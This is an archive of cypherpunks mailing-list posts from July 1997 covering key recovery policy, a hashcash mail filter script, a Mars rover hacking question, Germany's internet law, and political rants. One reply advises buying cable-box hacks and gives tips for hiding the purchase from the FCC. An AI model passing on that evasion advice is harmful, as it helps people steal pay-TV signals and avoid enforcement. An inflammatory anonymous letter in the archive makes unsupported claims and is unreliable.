From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Sat, 5 Jul 1997 09:21:02 +0800
To: cypherpunks@cyberpass.net
Subject: Key Recovery Policy in Japan
Message-ID: <199707050110.KAA14212@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain



Hi folks. I'm on a Japanese National Police Agency study group board working
on proposals for Key Recovery policy in Japan. The only documents that
are currently being reviewed are rather official OECD type documents
from the US and I am trying to find other opinions (technical, legal,
political) which I can add to the reports/documents being reviewed by
the panel.

Any pointers or opinions would be greatly appreciated. My deadline for
submitting materials is 7/11 and I will be giving my verbal opinions
on 7/28.

Thanks in advance.

 - Joi

P.S. I am also working with politicians, the Ministry of Posts and Telecom,
The Ministry of International Trade and Industry, and several other
ministries as well in similar policy areas. So even after 7/11, please
point me at anything (or point anything at me) that you would like the
Japanese policy makers to consider. Lots of stuff is currently being
reviewed in Japan in this area in the wake of the stuff going on the
US.

--
home page: http://domino.garage.co.jp/jito/joihome.nsf
bithaus: http://www.bithaus.co.jp/



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 17:09:48 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707050902.LAA02031@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sat, 5 Jul 1997 20:11:30 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: e$: $MTP? (fwd)
In-Reply-To: <Pine.GSO.3.95.970704154536.1436B-100000@ece>
Message-ID: <Pine.LNX.3.91.970705114146.2618B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Frankly, I see no other solution to this problem in the long run except for
> > postage, which means it's probably time to start figuring out, in earnest,
> > how to make it all work. Whoever becomes the lowest cost producer of this
> > kind of software stands to make a whole *bunch* of money.
> 
> We still need to work out how to fit mailing lists fit into this without
> eliminating them entirely. Chargebacks to the subscribers?  If this list
> will work in a proposed plan, I think all the others probably would as
> well.. :-)

I personally see hashcash as the ideal way to solve this problem, and in 
Adam Back`s analysis of the hashcash solution he mentions mailing lists 
and suggest that filtering software have an explicit "filter in" command, 
so you could eliminate any mail coming from the list from needing to have 
cash attached. Of course the spammers could then just spam mailing lists, 
but that it a much smaller problem than the current random UCE problem.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 03:01:49 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck the Fourth (and the First, Second....)
In-Reply-To: <199707050032.CAA08156@basement.replay.com>
Message-ID: <3.0.2.32.19970705114841.0075d240@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:32 AM 7/5/97 +0200, Anonymous wrote:
>  Adolph Hitler obviously understood what Noah Webster was writing
>about.
>If we could get the writings made into a TV movie (or a cartoon), there
>might be a minute chance to get the American public to understand, as
>well. 

A a good comic book primer might be "Grandpa Jack says: Gun Control Kills
Kids."

In the comic book, Grandpa Jack, while cleaning his AR-15, explains to his
grandchildren the origin of the tattoo on his arm and why the best and only
means of preventing tyranny is a "military style rifle" in every home.

I am taking 1,000 copies to HIP'97 :-) If you aren't going, get your copy
from Jews for the Preservation of Firearms Ownership.
Voice: (414) 769-0760
Fax  : (414) 483-8435


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 03:18:48 +0800
To: cypherpunks@Algebra.COM
Subject: PGP 5.0 source soon to be available for d/l
Message-ID: <3.0.2.32.19970705121145.006ff184@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



According to the International PGP Homepage, the scanning effort is making
good progress. 100% of the platform independent core (the part most of us
are interested in :) is scanned. 48% of said source is error corrected, up
from 18% a few days ago.

http://www.ifi.uio.no/pgp/


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Sun, 6 Jul 1997 04:18:55 +0800
To: cypherpunks@Algebra.COM
Subject: CyberSitter "Encryption"
Message-ID: <3.0.2.32.19970705130949.03d16390@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



In reading one of the lawyer letters going back and forth between Peacefire
and SolidOak, one of them
<http://peacefire.org/archives/SOS.letters/james.tyre.2.bm.txt> describes
the "encryption" used by the filter file in CyberSitter.

You are going to get a big chuckle out of this one...

The "encryption" is XORing each byte with 0x94!

Just when I thought my contempt for Millburn could not get any worse...

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 6 Jul 1997 08:44:27 +0800
To: Paul Bradley <blancw@cnw.com>
Subject: Citizen's Line Item Veto (was Re: Just Say "No" to Congress)
In-Reply-To: <3.0.32.19970519010058.00685bdc@cnw.com>
Message-ID: <v03102808afe499364268@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:13 PM +0000 5/19/97, Paul Bradley wrote:
>> On the other hand, he obviously believes in the authority of the US
>> government, as he has always supported it in arguments on the list,
>> especially in counter arguments against TCM.
>>
>> So, it appears that VZN is not *ready* to hold the government accountable,
>> preferring not to protest when his own money is withheld for him, but
>> hypocritically wondering when everyone will make this will happen.
>
>I made a point a while ago on this list, which I felt strongly was
>correct at the time and I still feel as strongly now but this argument
>draws parallels which made me think again:
>
>I stated that anyone who, in a situation of military conscription, fought
>for a country or a cause they did not believe in, simply to avoid
>punishment for refusal to fight, was a coward.
>
>I still believe this, but really taxation is simply paying the government
>to be your hitman for you, your tax money pays the governments barbaric
>killing and warmongering, you cannot wash your hands of this simply by
>arguing that you did not choose for the money to pay for a war, you have
>to draw the conclusion that by funding the government and the state you
>fund killing and violence elsewhere in the world.
>>
>It is a similar case with taxation, until enough people stop whinging and
>actually do something the state will tax as it sees fit, I`m not going to
>be the first to refuse payment on ethical grounds in peacetime, maybe I`m
>lacking in moral fibre, maybe I`m just a realist and think I can do more
>for the case of freedom outside of a 6'x9' cell.
>
>I wish all luck to those who do refuse to pay tax on moral and ethical
>grounds, they certainly have my admiration and I grant that they are
>probably of stronger stuff than I.
>

Since Congress passed a Presidential Line Item Veto, perhaps its time
citizens ask for the same priviledge and for the same reasons.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 13:21:51 +0800
To: cypherpunks@Algebra.COM
Subject: Hack the Mars rover
Message-ID: <3.0.2.32.19970705221647.0072d660@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10 PM sharp, my local cable switched, as per city requirements, from the
imminent deployment of the Mars rover to a city video BBS informing the
viewer about recent changes to local dog tag regulations.

Putting thoughts of Jim Bell aside, this gives me time to ask a question
that has been on my mind since yesterday.

With the solar system's hottest RC vehicle on Mars, how hard would it for a
hacker to take control of the rover? Is NASA using any
encryption/authentication of the commands issued to the rover?

Thanks,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 6 Jul 1997 06:52:10 +0800
To: cypherpunks@Algebra.COM
Subject: procmail and hashcash
Message-ID: <19970705222102.8853.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain



PATH=/bin:/usr/bin:/usr/local/bin:$HOME/bin
MAILDIR=$HOME/Mail
LOGFILE=$HOME/.procmaillog
LOCKEXT=.lock
SHELL=/bin/sh

:0
* ^X-Hashcash-Coin:.*
{
	:0:
	* ? hashcash-email.pl
	mbox
}

:0:
* 1^1 ^From:.*president@whitehouse.gov
mbox

:0:
junk

-----------------------------------------------------

#!/usr/local/bin/perl
$status = 0;
$use_db = 1;
$validity = 28;
$num_bits = 19;
$hashcash_coin = "";
$hashcash_db = "$ENV{'HOME'}/.email_hashcash.db";
$hashcash_exec = "$ENV{'HOME'}/bin/hashcash";
$resource_name = "nobody\@foo.bar.com";

while(<>) {
	/X-Hashcash-Coin:.*\s(.+)/ && do {
		$hashcash_coin = $1;
		last;
	};
}
exit 1 if(!$hashcash_coin);
if($use_db) {
	$status = system $hashcash_exec,"-d","-f$hashcash_db","-$num_bits",$resource_name,$hashcash_coin,$validity;
} else {
	$status = system $hashcash_exec,"-$num_bits",$resource_name,$hashcash_coin,$validity;
}
$status = $status / 256;
exit $status;





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sun, 6 Jul 1997 11:17:47 +0800
To: cypherpunks@toad.com
Subject: Re: index.html
In-Reply-To: <199707060255.EAA08349@basement.replay.com>
Message-ID: <33BF197E.C585D30F@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

> On Fri, 4 Jul 1997, Jim Choate wrote:
> >                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> >
> >       graphic July 4, 1997
> >      Web posted at: 4:10 p.m. EDT (2010 GMT)
> >
> >      BONN, Germany (AP) -- Germany on Friday became the first
> country to
> >      pass a law regulating the free-wheeling global electronic space
> of
> >      the Internet.
>
> So does that mean Germany is regulating all of the Internet? Or just
> networked computers and operators inside Germany?

   Which cypherpunk said that he wouldn't go to a conference to get
arrested for making a funny comment about a resurgence of fascism in
Germany?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 6 Jul 1997 12:28:37 +0800
To: cypherpunks@ssz.com
Subject: index.html
Message-ID: <199707060405.XAA17674@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner If it's in your head, Okidata puts it on paper. 
   
     rule
     
            GOP: FEDERAL GOVERNMENT WOULD 'SHOCK' FOUNDING FATHERS
                                       
     July 5, 1997
     Web posted at: 3:46 p.m. EDT (1946 GMT) Solomon graphic
     
     WASHINGTON (CNN) -- The federal government is just too big, taking
     on things "that would have shocked" the nation's founding fathers,
     New York Congressman Gerald Solomon said Saturday in the Republican
     weekly radio address.
     
     "The Founding Fathers designed a government with limited and defined
     powers," Solomon said. "But that idea has been turned on its head."
     
     Chief among the government offenses, the congressman said, is an
     exorbitant tax bill.
     
     "What the founding fathers could not even comprehend is the idea of
     Americans paying more in takes than they do for food and shelter,"
     Solomon said.
     
     "Our Republican philosophy is different," he said. "We'd rather
     shrink the welfare class and put the American dream of financial
     security and independence within the reach of as many middle class
     people as possible."
     
     The recently passed budget, Solomon said, will accomplish that by
     offering tax relief to families with children, and those with
     "oppressive capital gains taxes."
     
     "We're not talking millionaires here," he said. "We're talking about
     people like grandparents who owned a house for years, reared their
     children in that house and then decades later they want to sell it
     when it becomes too much of burden."
     
     The GOP Tax Relief Act, Solomon said, "will help 2 million older
     Americans."
     
     Other aspects of the tax relief plan will help small business owners
     -- who may want to pass on the family business to sons and daughters
     -- by increasing an exemption on estate taxes.
     
     Solomon compared the current Republican tax cut to the birth of the
     United States 221 years ago.
     
     "Yes, on July 4, 1776, we won the battle of independence from
     oppressive taxation and today ... the Republican Congress has just
     won another battle to restore a larger chunk of that freedom from
     taxation to you," he said.  rule
     
  Transcript:
  
     * Transcript of Republican weekly radio address - July 5, 1997
       
  Related site:
  
     Note: Page will open in a new browser window
     * House RepublicanLeadership
       
     
     
     External sites are not endorsed by CNN Interactive.  Search for
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   All Rights Reserved.
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sun, 6 Jul 1997 14:17:03 +0800
To: cypherpunks@Algebra.COM
Subject: Direct satellite systems?
Message-ID: <3.0.2.32.19970705230758.0072d7e8@netcom10.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



My local cable killing Mars rover deployment in favor of local dog tag
ordinances (as required by the city), made me realize it that getting my
own dish is way overdue.

I would appreciate reports on any first hand experiences subscribers to
this list have with satellite services. Yes, NASA TV and the SF channel is
a must. :-)

Thanks,


--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 6 Jul 1997 13:29:50 +0800
To: cypherpunks@toad.com
Subject: Re: index.html
In-Reply-To: <33BF197E.C585D30F@popmail.firn.edu>
Message-ID: <oDLe0D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



bennett_t1@popmail.firn.edu writes:

> Anonymous wrote:
>
> > On Fri, 4 Jul 1997, Jim Choate wrote:
> > >                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> > >
> > >       graphic July 4, 1997
> > >      Web posted at: 4:10 p.m. EDT (2010 GMT)
> > >
> > >      BONN, Germany (AP) -- Germany on Friday became the first
> > country to
> > >      pass a law regulating the free-wheeling global electronic space
> > of
> > >      the Internet.
> >
> > So does that mean Germany is regulating all of the Internet? Or just
> > networked computers and operators inside Germany?
>
>    Which cypherpunk said that he wouldn't go to a conference to get
> arrested for making a funny comment about a resurgence of fascism in
> Germany?

"Resurgence"?

Nazim never went away and needs to resurgence in Germany.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 07:43:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707052337.BAA11779@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Sun, 6 Jul 1997 13:45:38 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: index.html
In-Reply-To: <199707042234.RAA16340@einstein.ssz.com>
Message-ID: <Pine.GSO.3.95.970706013741.3034C-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain



>      
>      BONN, Germany (AP) -- Germany on Friday became the first country to
>      pass a law regulating the free-wheeling global electronic space of
>      the Internet.
>      
>      Chancellor Helmut Kohl's government says the so-called multimedia
>      law creates legal clarity that will help boost commercialization of
>      cyberspace and combats illegal uses of the Internet such as for
>      pornography.
>      

Guess Mr. Kohl never heard of the CDA, or Malaysia's "multimedia laws." Or
any of dozens of attempts to muzzle the Net, documented two years ago in a
Humran Rights Watch report. Sigh.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 11:07:45 +0800
To: cypherpunks@toad.com
Subject: Re: index.html
Message-ID: <199707060255.EAA08349@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 4 Jul 1997, Jim Choate wrote:
>                   GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
>
>       graphic July 4, 1997
>      Web posted at: 4:10 p.m. EDT (2010 GMT)
>
>      BONN, Germany (AP) -- Germany on Friday became the first country to
>      pass a law regulating the free-wheeling global electronic space of
>      the Internet.

So does that mean Germany is regulating all of the Internet? Or just
networked computers and operators inside Germany?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 6 Jul 1997 18:49:30 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Hack the Mars rover
In-Reply-To: <3.0.2.32.19970705221647.0072d660@netcom10.netcom.com>
Message-ID: <Pine.GSO.3.95.970706063925.4547A-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 5 Jul 1997, Lucky Green wrote:

> With the solar system's hottest RC vehicle on Mars, how hard would it for a
> hacker to take control of the rover? Is NASA using any
> encryption/authentication of the commands issued to the rover?

Somehow, I don't think that's the place to mount an attempt to take it
over.  The prohibitive cost of getting an antenna into space where you can
counter some of the effects of Earth's spin and keep the damn rover in
contact all the time would be the biggest problem.  The trick would be to
get into NASA's flight control computers.  They're almost definitely as
top-secret military systems in terms of access.  (i.e, no outside
connections to unsecure nets, controls almost certainly limited to certain
stations...)

Besides, how much encryption is needed between two points if intercepting
the traffic is expensive, the communications protocol is undocumented (as
far as anyone outside NASA is concerned), and the actual frequency is also
hard to find? 

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 14:57:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Liberating the Bits
In-Reply-To: <199707012155.XAA06734@basement.replay.com>
Message-ID: <199707060652.IAA08623@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May <tcmay@got.net> wrote:

> I have copied to DAT (Digital Audio Tape) several hundred CDs. And a friend
> of mine has really gone overboard, copying more than 4000 CDs (rock, blues,
> jazz, country, you name it) onto more than 1000 DATs.
> 
> Given that a new CD typically costs about $16 US, and a blank DAT tape
> costs about $4 for a 3-hour tape, the savings are spectacular. (My friend
> uses a lot of the 4-hour DATs, but I don't trust them. They jam in some
> machines.)

You mean you don't just get the mp3 files off the internet like everyone
else?  :)

Why would anyone want to use DAT, when you can just stick the CD in your
computer and copy it.  Hard disks are so much faster than tapes, and when
you consider data compression, don't cost much more.

I have hundreds of songs on my computer and I can start playing any one of
them in about 2 seconds.  Plus I can search by title, etc...  Tapes are a
pain in the ass and I just use them for backups.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 6 Jul 1997 21:20:04 +0800
To: cypherpunks@toad.com
Subject: Nat Sec in Your Home
Message-ID: <1.5.4.32.19970706125354.006ab980@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



For worst-suspicions info on defense technology 
transfer to law enforcement:

   http://jya.com/tdt-le.htm

With links to Justice and wide network of high tech
crime fighters fostering civil war for your own good --
and their careers and budgets. Nat Sec coming home
to roost: downsized soldiers, spies and scientists as 
sensors-r-us.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 6 Jul 1997 22:53:25 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Mack the Harrs over (fwd)
Message-ID: <199707061424.JAA18262@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Subject: Re: Mack the Harrs over
> Date: Sun, 06 Jul 1997 13:43:42 +0200
> From: Zooko Journeyman <zooko@wildgoose.dagny>

> > Besides, how much encryption is needed between two points if intercepting
> > the traffic is expensive, the communications protocol is undocumented (as
> > far as anyone outside NASA is concerned), and the actual frequency is also
> > hard to find? 
> 
> Not to mention that the communication protocol is apparently 
> broken and drops most of the data.  :-P 


Really? You try sending data over 10 light-seconds using nothing but the
equivalent of your Mag-Lite flashlight and then pick it up AND successfuly
decode the data using nothing more than spare cycles in the DSN reception
network.

I suspect you are seriously underestimating the amount of noise betwix here
and there...

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 7 Jul 1997 00:14:57 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Direct satellite systems? (fwd)
Message-ID: <199707061444.JAA18314@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 05 Jul 1997 23:07:58 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Direct satellite systems?

> My local cable killing Mars rover deployment in favor of local dog tag
> ordinances (as required by the city), made me realize it that getting my
> own dish is way overdue.
> 
> I would appreciate reports on any first hand experiences subscribers to
> this list have with satellite services. Yes, NASA TV and the SF channel is
> a must. :-)

NASA Select is the actual transponder you want to use for NASA stuff. Get
any of the numerous satellite magazines and they will include not only a
map of the commercial satellites but their location and other niceities.
Note that this is not all the satellites you can receive since those not
on the plane of the eccliptic will require a different mast-head (it
requires both RA and declinination, where most low-cost commercial stuff
only has RA). You will also want to check out comp.space.news and pick up
the new satellite listings that come out about once a week or so. You will
also get solar weather alerts on this newsgroup as well.

The main downside a satellite system is that you don't get any of the local
stations.

On the hardware front, decide now what kind of coverage you want. If you
have any hopes for a satellite modem (which can be quite fun to play with)
then don't get the digital dish but go with the older C/K band dishes (3m).

The setup that I use (and suggest) is:

 - local cable, at least minimal services to get the local stations

 - C/K band setup with dual decoders so that you can watch two transponder
   channels per bird

 - digital dish to receive the newer systems (if you can find a good
   source for digital sat modems for these please let me know)

I'll give you a hint on how to get started, get to know somebody in the
local sat business and get them to let you know when they replace an old
C/K band system with a new digital systems. Usualy they throw the dish,
mast-head, and cable away because they have no resale value. I got both
of my C/K dishes this way. Spent maybe $100 on cables and connectors not
counting the concrete I used to mount the masts.

With the changes in the cable laws you can now buy hacks to the boxes on the
open market. I *strongly* suggest making this purchase as anonymous as
possible. My cable guy gets a visit from the FCC about once a year on some
purchase he made. I get my ROM's and such at various electronic, hamfest,
and video get togethers that happen in and around Ctl. Texas. I am shure if
you check in your local areas similar events occur. (hint: get somebody else
to drive to the event in their car and pay with cash only and never tell
them anything about your real name or location).

Last tip, buy your own center level and don't be stingy on the cost. The
more vertical you can get your mast the happier you will be in the long
run.

Hope it helps.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 6 Jul 1997 15:59:05 +0800
To: cypherpunks@toad.com
Subject: Germany Wants A Rematch
Message-ID: <199707060745.JAA14587@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



To: 100566.2620@compuserve.com (German Embassy/Canada)
From: TruthMailer <tm@dev.null>
X-Mailer: WinSock Remailer Version ALPHA1.3B
X-Comments: -
X-Comments: "He who shits on the road will meet flies upon his return."
X-Comments: -
X-Comments: This message is NOT from a death camp volunteer. It was
X-Comments: sent via an automated anonymous remailer much as bullets
X-Comments: were sent by snipers in the French Resistance during
X-Comments: World War II.
X-Comments: -
X-Remailer-Setup: Maximum Message Size -- None

Subject: Germany Wants A Rematch

bennett wrote:
> On Fri, 4 Jul 1997, Jim  wrote:
> >          GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
> >
> > BONN, Germany (AP) -- Germany on Friday became the first country to
> > pass a law regulating the free-wheeling global electronic space
> > of the Internet.

>   Which cypherpunk said that he wouldn't go to a conference to get
> arrested for making a funny comment about a resurgence of fascism in
> Germany?

Dear Mr. & Ms. G. Embassy,
  Perhaps you've forgotten why freedom lovers kicked your ass in
"The Big One."
  Far be it from me to rain on your jackboot parade, but this time
the underground was put in place long before the war on freedom and
liberty was officially announced.

  XS4ALL's efforts to allow citizens to have the information needed
to interfere with train schedules to Auschwitz was just the tip of
the iceberg. Strong encryption and anonymous remailers are likewise
only visible symbols of the electronic weapons that have already 
been prepared in defense of free speech, privacy and freedom.
{Fool me once...}

  If you are of the mistaken notion that the rise of fascist limits
on freedom in now laughably democratic countries around the world
indicates that the world is now in alignment with the goals of a
"Fourth Reich"/"New World Order", then you are in for a very rude
awakening.
  The fact of the matter is that Germany is not only sucking on
hind-tit in terms of being far behind the designers of the internet
in controlling the worldwide flow of information, but all those
whose aim is to use information control to futher the purpose of
domination and oppression are sucking hind-tit to those who are
prepared to prevent this from coming to fruitation.
  Long before the "Internet" and the "World Wide Web" were being
publically touted as the "Information Highway" of the future, 
citizens throughout the Internet were being organized into small,
disparate cells for the purpose of educating and preparing them
to provide an underground resistance to the fascist designs of
those who fully intended from the start to use this technology
as a weapon against freedom and liberty.

  If you wish just the slightest taste of what I am speaking about,
then read "The Xenix Chainsaw Massacre" or "Webworld & The Mythical
Circle of Eunuchs" at http://bureau42.base.org
  If you would rather access it from a Soviet source, then I suggest
you try http://www.tigerteam.net/anarchy  
  Or you can find it in France, Australia, Great Britain, China,
Burma, Africa, South America, ad infinitum...as part of a trilogy
named "The True Story of the InterNet."

  If you want a small taste of what lies in wait for fascists in the
Unix Operating system, then study the archives of the "Cypherpunks"
mailing list.
  DOS/Windows? Find the "Secret Gates" mailing list (if you can).
  OS/2, Macintosh OS, Novelle...ask your father and mother, your sister
and brother, your best friend...they may well be among those who have
been preparing for decades to tear down the walls you are only now
preparing to build around freedom and privacy on the Internet.

  If you want a small taste of how your own tools are already being
turned against you, as weapons and munitions, then I suggest that
you try to find the hidden stego in the map of Germany (map2-2.gif)
at the URL for your German Embassy in Canada...
http://www.DocuWeb.ca/Germany

  If, on the other hand, you wish for a small taste of true freedom,
then I suggest that you resist falling prey to the fascist mindset
that others have already decided upon as your ultimate destiny, and
create your own underground resistance cell to fight against the rise
of censorship and the curtailment of freedom and liberty.
{If you haven't already...}

  When the Netherlands were recently liberated, many of the citizens
at XS4ALL were reported to be smoking American cigarettes, eating
Hershey's chocolate bars, and chewing gum.
  Go figure...

TruthMonger #709





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Mon, 7 Jul 1997 00:16:13 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
